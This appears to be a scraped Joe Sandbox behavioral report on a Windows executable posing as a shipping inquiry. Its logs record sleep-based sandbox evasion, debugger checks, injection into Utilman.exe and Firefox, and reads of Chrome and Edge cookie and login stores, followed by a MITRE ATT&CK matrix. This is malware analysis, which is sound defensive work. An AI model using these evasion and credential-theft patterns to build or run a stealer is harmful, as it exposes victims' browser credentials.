Source: C:\Users\user\Desktop\Vessel's inquiry - 22054.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\Vessel's inquiry - 22054.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\Vessel's inquiry - 22054.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\Vessel's inquiry - 22054.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\Vessel's inquiry - 22054.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\Vessel's inquiry - 22054.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\Vessel's inquiry - 22054.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\Vessel's inquiry - 22054.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\Vessel's inquiry - 22054.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\Vessel's inquiry - 22054.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\Vessel's inquiry - 22054.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\Vessel's inquiry - 22054.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\Vessel's inquiry - 22054.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\Vessel's inquiry - 22054.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\Vessel's inquiry - 22054.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\Vessel's inquiry - 22054.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\Vessel's inquiry - 22054.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\Vessel's inquiry - 22054.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\Vessel's inquiry - 22054.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\Vessel's inquiry - 22054.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\Vessel's inquiry - 22054.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\Vessel's inquiry - 22054.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\Vessel's inquiry - 22054.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\Vessel's inquiry - 22054.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\Vessel's inquiry - 22054.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\Vessel's inquiry - 22054.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\Vessel's inquiry - 22054.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\Vessel's inquiry - 22054.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\Vessel's inquiry - 22054.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\Utilman.exe	Process information set: NOGPFAULTERRORBOX \| NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\Utilman.exe	Process information set: NOGPFAULTERRORBOX \| NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\Utilman.exe	Process information set: NOGPFAULTERRORBOX \| NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\Utilman.exe	Process information set: NOGPFAULTERRORBOX \| NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\Utilman.exe	Process information set: NOGPFAULTERRORBOX \| NOOPENFILEERRORBOX	Jump to behavior

Source: C:\Windows\SysWOW64\Utilman.exe	API/Special instruction interceptor: Address: 7FFCC372D324
Source: C:\Windows\SysWOW64\Utilman.exe	API/Special instruction interceptor: Address: 7FFCC372D7E4
Source: C:\Windows\SysWOW64\Utilman.exe	API/Special instruction interceptor: Address: 7FFCC372D944
Source: C:\Windows\SysWOW64\Utilman.exe	API/Special instruction interceptor: Address: 7FFCC372D504
Source: C:\Windows\SysWOW64\Utilman.exe	API/Special instruction interceptor: Address: 7FFCC372D544
Source: C:\Windows\SysWOW64\Utilman.exe	API/Special instruction interceptor: Address: 7FFCC372D1E4
Source: C:\Windows\SysWOW64\Utilman.exe	API/Special instruction interceptor: Address: 7FFCC3730154
Source: C:\Windows\SysWOW64\Utilman.exe	API/Special instruction interceptor: Address: 7FFCC372DA44

Source: C:\Users\user\Desktop\Vessel's inquiry - 22054.exe	Memory allocated: AA0000 memory reserve \| memory write watch	Jump to behavior
Source: C:\Users\user\Desktop\Vessel's inquiry - 22054.exe	Memory allocated: 26E0000 memory reserve \| memory write watch	Jump to behavior
Source: C:\Users\user\Desktop\Vessel's inquiry - 22054.exe	Memory allocated: D40000 memory reserve \| memory write watch	Jump to behavior
Source: C:\Users\user\Desktop\Vessel's inquiry - 22054.exe	Memory allocated: 8DF0000 memory reserve \| memory write watch	Jump to behavior
Source: C:\Users\user\Desktop\Vessel's inquiry - 22054.exe	Memory allocated: 9DF0000 memory reserve \| memory write watch	Jump to behavior
Source: C:\Users\user\Desktop\Vessel's inquiry - 22054.exe	Memory allocated: A010000 memory reserve \| memory write watch	Jump to behavior
Source: C:\Users\user\Desktop\Vessel's inquiry - 22054.exe	Memory allocated: B010000 memory reserve \| memory write watch	Jump to behavior

Source: C:\Users\user\Desktop\Vessel's inquiry - 22054.exe	API coverage: 0.7 %
Source: C:\Windows\SysWOW64\Utilman.exe	API coverage: 2.6 %

Source: C:\Users\user\Desktop\Vessel's inquiry - 22054.exe TID: 4064	Thread sleep time: -30000s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\Vessel's inquiry - 22054.exe TID: 1684	Thread sleep time: -922337203685477s >= -30000s	Jump to behavior
Source: C:\Windows\SysWOW64\Utilman.exe TID: 7644	Thread sleep count: 132 > 30	Jump to behavior
Source: C:\Windows\SysWOW64\Utilman.exe TID: 7644	Thread sleep time: -264000s >= -30000s	Jump to behavior
Source: C:\Windows\SysWOW64\Utilman.exe TID: 7644	Thread sleep count: 9841 > 30	Jump to behavior
Source: C:\Windows\SysWOW64\Utilman.exe TID: 7644	Thread sleep time: -19682000s >= -30000s	Jump to behavior
Source: C:\Program Files (x86)\MUQXFMxOZMCrKjUyvmUGBguvjZuOxHTjwfoCVUSYNVuSEvKZLhBoIejbALeylmkCKOi\9gqi61vFxD2dyomn.exe TID: 7688	Thread sleep time: -55000s >= -30000s	Jump to behavior
Source: C:\Program Files (x86)\MUQXFMxOZMCrKjUyvmUGBguvjZuOxHTjwfoCVUSYNVuSEvKZLhBoIejbALeylmkCKOi\9gqi61vFxD2dyomn.exe TID: 7688	Thread sleep time: -43500s >= -30000s	Jump to behavior
Source: C:\Program Files (x86)\MUQXFMxOZMCrKjUyvmUGBguvjZuOxHTjwfoCVUSYNVuSEvKZLhBoIejbALeylmkCKOi\9gqi61vFxD2dyomn.exe TID: 7688	Thread sleep count: 34 > 30	Jump to behavior
Source: C:\Program Files (x86)\MUQXFMxOZMCrKjUyvmUGBguvjZuOxHTjwfoCVUSYNVuSEvKZLhBoIejbALeylmkCKOi\9gqi61vFxD2dyomn.exe TID: 7688	Thread sleep time: -34000s >= -30000s	Jump to behavior

Source: C:\Windows\SysWOW64\Utilman.exe	Last function: Thread delayed
Source: C:\Windows\SysWOW64\Utilman.exe	Last function: Thread delayed

Source: C:\Users\user\Desktop\Vessel's inquiry - 22054.exe	Thread delayed: delay time: 30000			Jump to behavior
Source: C:\Users\user\Desktop\Vessel's inquiry - 22054.exe	Thread delayed: delay time: 922337203685477			Jump to behavior

Source: firefox.exe, 0000000D.00000002.1767413099.0000027C8410C000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: Hyper-V RAW%SystemRoot%\system32\mswsock.dllNN2
Source: Utilman.exe, 0000000B.00000002.3655805637.0000000002CCE000.00000004.00000020.00020000.00000000.sdmp, 9gqi61vFxD2dyomn.exe, 0000000C.00000002.3657491867.0000000000E3A000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: Hyper-V RAW%SystemRoot%\system32\mswsock.dll

Behavior Section

Behavior Chronological

Disassembly

Uncategorized

Graph

Loading Joe Sandbox Report ...

Warning!

Windows Analysis Report Vessel's inquiry - 22054.exe

Overview

General Information

Detection

Signatures

Classification

Process Tree

Malware Threat Intel

Malware Configuration

Yara Signatures

Memory Dumps

Unpacked PEs

Sigma Signatures

Suricata Signatures

Joe Sandbox Signatures

AV Detection

Compliance

Spreading

Software Vulnerabilities

Networking

E-Banking Fraud

System Summary

Data Obfuscation

Hooking and other Techniques for Hiding and Protection

Malware Analysis System Evasion

Anti Debugging

HIPS / PFW / Operating System Protection Evasion

Language, Device and Operating System Detection

Stealing of Sensitive Information

Remote Access Functionality

Mitre Att&ck Matrix

Behavior Graph

Screenshots

Thumbnails

Windows Analysis Report
Vessel's inquiry - 22054.exe

Source: C:\Users\user\Desktop\Vessel's inquiry - 22054.exe	Process queried: DebugPort			Jump to behavior
Source: C:\Windows\SysWOW64\Utilman.exe	Process queried: DebugPort			Jump to behavior

Source: C:\Program Files (x86)\MUQXFMxOZMCrKjUyvmUGBguvjZuOxHTjwfoCVUSYNVuSEvKZLhBoIejbALeylmkCKOi\9gqi61vFxD2dyomn.exe	NtCreateFile: Direct from: 0x77752FEC	Jump to behavior
Source: C:\Program Files (x86)\MUQXFMxOZMCrKjUyvmUGBguvjZuOxHTjwfoCVUSYNVuSEvKZLhBoIejbALeylmkCKOi\9gqi61vFxD2dyomn.exe	NtOpenFile: Direct from: 0x77752DCC	Jump to behavior
Source: C:\Program Files (x86)\MUQXFMxOZMCrKjUyvmUGBguvjZuOxHTjwfoCVUSYNVuSEvKZLhBoIejbALeylmkCKOi\9gqi61vFxD2dyomn.exe	NtSetInformationThread: Direct from: 0x777463F9	Jump to behavior
Source: C:\Program Files (x86)\MUQXFMxOZMCrKjUyvmUGBguvjZuOxHTjwfoCVUSYNVuSEvKZLhBoIejbALeylmkCKOi\9gqi61vFxD2dyomn.exe	NtQueryInformationToken: Direct from: 0x77752CAC	Jump to behavior
Source: C:\Program Files (x86)\MUQXFMxOZMCrKjUyvmUGBguvjZuOxHTjwfoCVUSYNVuSEvKZLhBoIejbALeylmkCKOi\9gqi61vFxD2dyomn.exe	NtTerminateThread: Direct from: 0x77752FCC	Jump to behavior
Source: C:\Program Files (x86)\MUQXFMxOZMCrKjUyvmUGBguvjZuOxHTjwfoCVUSYNVuSEvKZLhBoIejbALeylmkCKOi\9gqi61vFxD2dyomn.exe	NtProtectVirtualMemory: Direct from: 0x77752F9C	Jump to behavior
Source: C:\Program Files (x86)\MUQXFMxOZMCrKjUyvmUGBguvjZuOxHTjwfoCVUSYNVuSEvKZLhBoIejbALeylmkCKOi\9gqi61vFxD2dyomn.exe	NtSetInformationProcess: Direct from: 0x77752C5C	Jump to behavior
Source: C:\Program Files (x86)\MUQXFMxOZMCrKjUyvmUGBguvjZuOxHTjwfoCVUSYNVuSEvKZLhBoIejbALeylmkCKOi\9gqi61vFxD2dyomn.exe	NtNotifyChangeKey: Direct from: 0x77753C2C	Jump to behavior
Source: C:\Program Files (x86)\MUQXFMxOZMCrKjUyvmUGBguvjZuOxHTjwfoCVUSYNVuSEvKZLhBoIejbALeylmkCKOi\9gqi61vFxD2dyomn.exe	NtOpenKeyEx: Direct from: 0x77752B9C	Jump to behavior
Source: C:\Program Files (x86)\MUQXFMxOZMCrKjUyvmUGBguvjZuOxHTjwfoCVUSYNVuSEvKZLhBoIejbALeylmkCKOi\9gqi61vFxD2dyomn.exe	NtOpenSection: Direct from: 0x77752E0C	Jump to behavior
Source: C:\Program Files (x86)\MUQXFMxOZMCrKjUyvmUGBguvjZuOxHTjwfoCVUSYNVuSEvKZLhBoIejbALeylmkCKOi\9gqi61vFxD2dyomn.exe	NtProtectVirtualMemory: Direct from: 0x77747B2E	Jump to behavior
Source: C:\Program Files (x86)\MUQXFMxOZMCrKjUyvmUGBguvjZuOxHTjwfoCVUSYNVuSEvKZLhBoIejbALeylmkCKOi\9gqi61vFxD2dyomn.exe	NtAllocateVirtualMemory: Direct from: 0x777548EC	Jump to behavior
Source: C:\Program Files (x86)\MUQXFMxOZMCrKjUyvmUGBguvjZuOxHTjwfoCVUSYNVuSEvKZLhBoIejbALeylmkCKOi\9gqi61vFxD2dyomn.exe	NtQueryVolumeInformationFile: Direct from: 0x77752F2C	Jump to behavior
Source: C:\Program Files (x86)\MUQXFMxOZMCrKjUyvmUGBguvjZuOxHTjwfoCVUSYNVuSEvKZLhBoIejbALeylmkCKOi\9gqi61vFxD2dyomn.exe	NtQuerySystemInformation: Direct from: 0x777548CC	Jump to behavior
Source: C:\Program Files (x86)\MUQXFMxOZMCrKjUyvmUGBguvjZuOxHTjwfoCVUSYNVuSEvKZLhBoIejbALeylmkCKOi\9gqi61vFxD2dyomn.exe	NtAllocateVirtualMemory: Direct from: 0x77752BEC	Jump to behavior
Source: C:\Program Files (x86)\MUQXFMxOZMCrKjUyvmUGBguvjZuOxHTjwfoCVUSYNVuSEvKZLhBoIejbALeylmkCKOi\9gqi61vFxD2dyomn.exe	NtDeviceIoControlFile: Direct from: 0x77752AEC	Jump to behavior
Source: C:\Program Files (x86)\MUQXFMxOZMCrKjUyvmUGBguvjZuOxHTjwfoCVUSYNVuSEvKZLhBoIejbALeylmkCKOi\9gqi61vFxD2dyomn.exe	NtCreateUserProcess: Direct from: 0x7775371C	Jump to behavior
Source: C:\Program Files (x86)\MUQXFMxOZMCrKjUyvmUGBguvjZuOxHTjwfoCVUSYNVuSEvKZLhBoIejbALeylmkCKOi\9gqi61vFxD2dyomn.exe	NtWriteVirtualMemory: Direct from: 0x7775490C	Jump to behavior
Source: C:\Program Files (x86)\MUQXFMxOZMCrKjUyvmUGBguvjZuOxHTjwfoCVUSYNVuSEvKZLhBoIejbALeylmkCKOi\9gqi61vFxD2dyomn.exe	NtQueryInformationProcess: Direct from: 0x77752C26	Jump to behavior
Source: C:\Program Files (x86)\MUQXFMxOZMCrKjUyvmUGBguvjZuOxHTjwfoCVUSYNVuSEvKZLhBoIejbALeylmkCKOi\9gqi61vFxD2dyomn.exe	NtResumeThread: Direct from: 0x77752FBC	Jump to behavior
Source: C:\Program Files (x86)\MUQXFMxOZMCrKjUyvmUGBguvjZuOxHTjwfoCVUSYNVuSEvKZLhBoIejbALeylmkCKOi\9gqi61vFxD2dyomn.exe	NtReadVirtualMemory: Direct from: 0x77752E8C	Jump to behavior
Source: C:\Program Files (x86)\MUQXFMxOZMCrKjUyvmUGBguvjZuOxHTjwfoCVUSYNVuSEvKZLhBoIejbALeylmkCKOi\9gqi61vFxD2dyomn.exe	NtCreateKey: Direct from: 0x77752C6C	Jump to behavior
Source: C:\Program Files (x86)\MUQXFMxOZMCrKjUyvmUGBguvjZuOxHTjwfoCVUSYNVuSEvKZLhBoIejbALeylmkCKOi\9gqi61vFxD2dyomn.exe	NtSetInformationThread: Direct from: 0x77752B4C	Jump to behavior
Source: C:\Program Files (x86)\MUQXFMxOZMCrKjUyvmUGBguvjZuOxHTjwfoCVUSYNVuSEvKZLhBoIejbALeylmkCKOi\9gqi61vFxD2dyomn.exe	NtQueryAttributesFile: Direct from: 0x77752E6C	Jump to behavior
Source: C:\Program Files (x86)\MUQXFMxOZMCrKjUyvmUGBguvjZuOxHTjwfoCVUSYNVuSEvKZLhBoIejbALeylmkCKOi\9gqi61vFxD2dyomn.exe	NtAllocateVirtualMemory: Direct from: 0x77753C9C	Jump to behavior
Source: C:\Program Files (x86)\MUQXFMxOZMCrKjUyvmUGBguvjZuOxHTjwfoCVUSYNVuSEvKZLhBoIejbALeylmkCKOi\9gqi61vFxD2dyomn.exe	NtClose: Direct from: 0x77752B6C
Source: C:\Program Files (x86)\MUQXFMxOZMCrKjUyvmUGBguvjZuOxHTjwfoCVUSYNVuSEvKZLhBoIejbALeylmkCKOi\9gqi61vFxD2dyomn.exe	NtCreateMutant: Direct from: 0x777535CC	Jump to behavior
Source: C:\Program Files (x86)\MUQXFMxOZMCrKjUyvmUGBguvjZuOxHTjwfoCVUSYNVuSEvKZLhBoIejbALeylmkCKOi\9gqi61vFxD2dyomn.exe	NtWriteVirtualMemory: Direct from: 0x77752E3C	Jump to behavior
Source: C:\Program Files (x86)\MUQXFMxOZMCrKjUyvmUGBguvjZuOxHTjwfoCVUSYNVuSEvKZLhBoIejbALeylmkCKOi\9gqi61vFxD2dyomn.exe	NtMapViewOfSection: Direct from: 0x77752D1C	Jump to behavior
Source: C:\Program Files (x86)\MUQXFMxOZMCrKjUyvmUGBguvjZuOxHTjwfoCVUSYNVuSEvKZLhBoIejbALeylmkCKOi\9gqi61vFxD2dyomn.exe	NtResumeThread: Direct from: 0x777536AC	Jump to behavior
Source: C:\Program Files (x86)\MUQXFMxOZMCrKjUyvmUGBguvjZuOxHTjwfoCVUSYNVuSEvKZLhBoIejbALeylmkCKOi\9gqi61vFxD2dyomn.exe	NtReadFile: Direct from: 0x77752ADC	Jump to behavior
Source: C:\Program Files (x86)\MUQXFMxOZMCrKjUyvmUGBguvjZuOxHTjwfoCVUSYNVuSEvKZLhBoIejbALeylmkCKOi\9gqi61vFxD2dyomn.exe	NtQuerySystemInformation: Direct from: 0x77752DFC	Jump to behavior
Source: C:\Program Files (x86)\MUQXFMxOZMCrKjUyvmUGBguvjZuOxHTjwfoCVUSYNVuSEvKZLhBoIejbALeylmkCKOi\9gqi61vFxD2dyomn.exe	NtDelayExecution: Direct from: 0x77752DDC	Jump to behavior
Source: C:\Program Files (x86)\MUQXFMxOZMCrKjUyvmUGBguvjZuOxHTjwfoCVUSYNVuSEvKZLhBoIejbALeylmkCKOi\9gqi61vFxD2dyomn.exe	NtAllocateVirtualMemory: Direct from: 0x77752BFC	Jump to behavior

Source: C:\Users\user\Desktop\Vessel's inquiry - 22054.exe	Section loaded: NULL target: C:\Program Files (x86)\MUQXFMxOZMCrKjUyvmUGBguvjZuOxHTjwfoCVUSYNVuSEvKZLhBoIejbALeylmkCKOi\9gqi61vFxD2dyomn.exe protection: execute and read and write	Jump to behavior
Source: C:\Users\user\Desktop\Vessel's inquiry - 22054.exe	Section loaded: NULL target: C:\Windows\SysWOW64\Utilman.exe protection: execute and read and write	Jump to behavior
Source: C:\Windows\SysWOW64\Utilman.exe	Section loaded: NULL target: C:\Program Files (x86)\MUQXFMxOZMCrKjUyvmUGBguvjZuOxHTjwfoCVUSYNVuSEvKZLhBoIejbALeylmkCKOi\9gqi61vFxD2dyomn.exe protection: read write	Jump to behavior
Source: C:\Windows\SysWOW64\Utilman.exe	Section loaded: NULL target: C:\Program Files (x86)\MUQXFMxOZMCrKjUyvmUGBguvjZuOxHTjwfoCVUSYNVuSEvKZLhBoIejbALeylmkCKOi\9gqi61vFxD2dyomn.exe protection: execute and read and write	Jump to behavior
Source: C:\Windows\SysWOW64\Utilman.exe	Section loaded: NULL target: C:\Program Files\Mozilla Firefox\firefox.exe protection: read write	Jump to behavior
Source: C:\Windows\SysWOW64\Utilman.exe	Section loaded: NULL target: C:\Program Files\Mozilla Firefox\firefox.exe protection: execute and read and write	Jump to behavior

Source: 9gqi61vFxD2dyomn.exe, 0000000A.00000000.1389332823.0000000001100000.00000002.00000001.00040000.00000000.sdmp, 9gqi61vFxD2dyomn.exe, 0000000A.00000002.3657753009.0000000001101000.00000002.00000001.00040000.00000000.sdmp, 9gqi61vFxD2dyomn.exe, 0000000C.00000000.1542746672.0000000001470000.00000002.00000001.00040000.00000000.sdmp	Binary or memory string: XProgram Manager
Source: 9gqi61vFxD2dyomn.exe, 0000000A.00000000.1389332823.0000000001100000.00000002.00000001.00040000.00000000.sdmp, 9gqi61vFxD2dyomn.exe, 0000000A.00000002.3657753009.0000000001101000.00000002.00000001.00040000.00000000.sdmp, 9gqi61vFxD2dyomn.exe, 0000000C.00000000.1542746672.0000000001470000.00000002.00000001.00040000.00000000.sdmp	Binary or memory string: Shell_TrayWnd
Source: 9gqi61vFxD2dyomn.exe, 0000000A.00000000.1389332823.0000000001100000.00000002.00000001.00040000.00000000.sdmp, 9gqi61vFxD2dyomn.exe, 0000000A.00000002.3657753009.0000000001101000.00000002.00000001.00040000.00000000.sdmp, 9gqi61vFxD2dyomn.exe, 0000000C.00000000.1542746672.0000000001470000.00000002.00000001.00040000.00000000.sdmp	Binary or memory string: Progman
Source: 9gqi61vFxD2dyomn.exe, 0000000A.00000000.1389332823.0000000001100000.00000002.00000001.00040000.00000000.sdmp, 9gqi61vFxD2dyomn.exe, 0000000A.00000002.3657753009.0000000001101000.00000002.00000001.00040000.00000000.sdmp, 9gqi61vFxD2dyomn.exe, 0000000C.00000000.1542746672.0000000001470000.00000002.00000001.00040000.00000000.sdmp	Binary or memory string: Progmanlock

Source: C:\Windows\SysWOW64\Utilman.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Cookies	Jump to behavior
Source: C:\Windows\SysWOW64\Utilman.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Network\Cookies	Jump to behavior
Source: C:\Windows\SysWOW64\Utilman.exe	File opened: C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Network\Cookies	Jump to behavior
Source: C:\Windows\SysWOW64\Utilman.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Login Data	Jump to behavior
Source: C:\Windows\SysWOW64\Utilman.exe	File opened: C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Login Data	Jump to behavior
Source: C:\Windows\SysWOW64\Utilman.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Network\Local State	Jump to behavior
Source: C:\Windows\SysWOW64\Utilman.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local State	Jump to behavior
Source: C:\Windows\SysWOW64\Utilman.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Web Data	Jump to behavior

Reconnaissance	Resource Development	Initial Access	Execution	Persistence	Privilege Escalation	Defense Evasion	Credential Access	Discovery	Lateral Movement	Collection	Command and Control	Exfiltration	Impact
Gather Victim Identity Information	Acquire Infrastructure	Valid Accounts	Windows Management Instrumentation	1 DLL Side-Loading	412 Process Injection	1 Masquerading	1 OS Credential Dumping	121 Security Software Discovery	Remote Services	1 Email Collection	1 Encrypted Channel	Exfiltration Over Other Network Medium	Abuse Accessibility Features
Credentials	Domains	Default Accounts	Scheduled Task/Job	Boot or Logon Initialization Scripts	1 Abuse Elevation Control Mechanism	1 Disable or Modify Tools	LSASS Memory	2 Process Discovery	Remote Desktop Protocol	1 Archive Collected Data	3 Ingress Tool Transfer	Exfiltration Over Bluetooth	Network Denial of Service
Email Addresses	DNS Server	Domain Accounts	At	Logon Script (Windows)	1 DLL Side-Loading	41 Virtualization/Sandbox Evasion	Security Account Manager	41 Virtualization/Sandbox Evasion	SMB/Windows Admin Shares	1 Data from Local System	4 Non-Application Layer Protocol	Automated Exfiltration	Data Encrypted for Impact
Employee Names	Virtual Private Server	Local Accounts	Cron	Login Hook	Login Hook	412 Process Injection	NTDS	1 Application Window Discovery	Distributed Component Object Model	Input Capture	4 Application Layer Protocol	Traffic Duplication	Data Destruction
Gather Victim Network Information	Server	Cloud Accounts	Launchd	Network Logon Script	Network Logon Script	1 Deobfuscate/Decode Files or Information	LSA Secrets	2 File and Directory Discovery	SSH	Keylogging	Fallback Channels	Scheduled Transfer	Data Encrypted for Impact
Domain Properties	Botnet	Replication Through Removable Media	Scheduled Task	RC Scripts	RC Scripts	1 Abuse Elevation Control Mechanism	Cached Domain Credentials	113 System Information Discovery	VNC	GUI Input Capture	Multiband Communication	Data Transfer Size Limits	Service Stop
DNS	Web Services	External Remote Services	Systemd Timers	Startup Items	Startup Items	4 Obfuscated Files or Information	DCSync	Remote System Discovery	Windows Remote Management	Web Portal Capture	Commonly Used Port	Exfiltration Over C2 Channel	Inhibit System Recovery
Network Trust Dependencies	Serverless	Drive-by Compromise	Container Orchestration Job	Scheduled Task/Job	Scheduled Task/Job	2 Software Packing	Proc Filesystem	System Owner/User Discovery	Cloud Services	Credential API Hooking	Application Layer Protocol	Exfiltration Over Alternative Protocol	Defacement
Network Topology	Malvertising	Exploit Public-Facing Application	Command and Scripting Interpreter	At	At	1 Timestomp	/etc/passwd and /etc/shadow	Network Sniffing	Direct Cloud VM Connections	Data Staged	Web Protocols	Exfiltration Over Symmetric Encrypted Non-C2 Protocol	Internal Defacement
IP Addresses	Compromise Infrastructure	Supply Chain Compromise	PowerShell	Cron	Cron	1 DLL Side-Loading	Network Sniffing	Network Service Discovery	Shared Webroot	Local Data Staging	File Transfer Protocols	Exfiltration Over Asymmetric Encrypted Non-C2 Protocol	External Defacement